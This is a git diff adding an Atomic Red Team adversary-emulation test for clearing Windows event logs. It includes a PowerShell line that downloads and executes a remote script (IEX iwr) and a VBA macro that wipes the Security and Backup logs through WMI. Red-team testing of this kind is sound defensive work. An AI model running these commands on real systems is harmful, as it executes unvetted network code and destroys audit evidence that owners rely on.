diff --git a/atomics/T1070.001/T1070.001.yaml b/atomics/T1070.001/T1070.001.yaml index 104f157a..7ee1a5e7 100644 --- a/atomics/T1070.001/T1070.001.yaml +++ b/atomics/T1070.001/T1070.001.yaml @@ -32,3 +32,29 @@ atomic_tests: Get-EventLog -list name: powershell elevation_required: true +- name: Clear Event Logs via VBA + auto_generated_guid: + description: | + This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system. + + Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error + supported_platforms: + - windows + dependency_executor_name: powershell + dependencies: + - description: | + Microsoft Word must be installed + prereq_command: | + try { + New-Object -COMObject "Word.Application" | Out-Null + Stop-Process -Name "winword" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Word manually to meet this requirement" + executor: + command: | + IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1") + Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt" -officeProduct "Word" -sub "ClearLogs" + name: powershell + elevation_required: true diff --git a/atomics/T1070.001/src/T1070.001-macrocode.txt b/atomics/T1070.001/src/T1070.001-macrocode.txt new file mode 100644 index 00000000..f277cc28 --- /dev/null +++ b/atomics/T1070.001/src/T1070.001-macrocode.txt @@ -0,0 +1,12 @@ +Sub ClearLogs() + + Dim objWMIService, colLogFiles, objLogfile As Object + + Set objWMIService = GetObject("winmgmts:{(Backup, Security)}!\\.\root\cimv2") + Set colLogFiles = objWMIService.ExecQuery("Select * from Win32_NTEventLogFile") + + For Each objLogfile In colLogFiles + objLogfile.ClearEventLog + Next + +End Sub \ No newline at end of file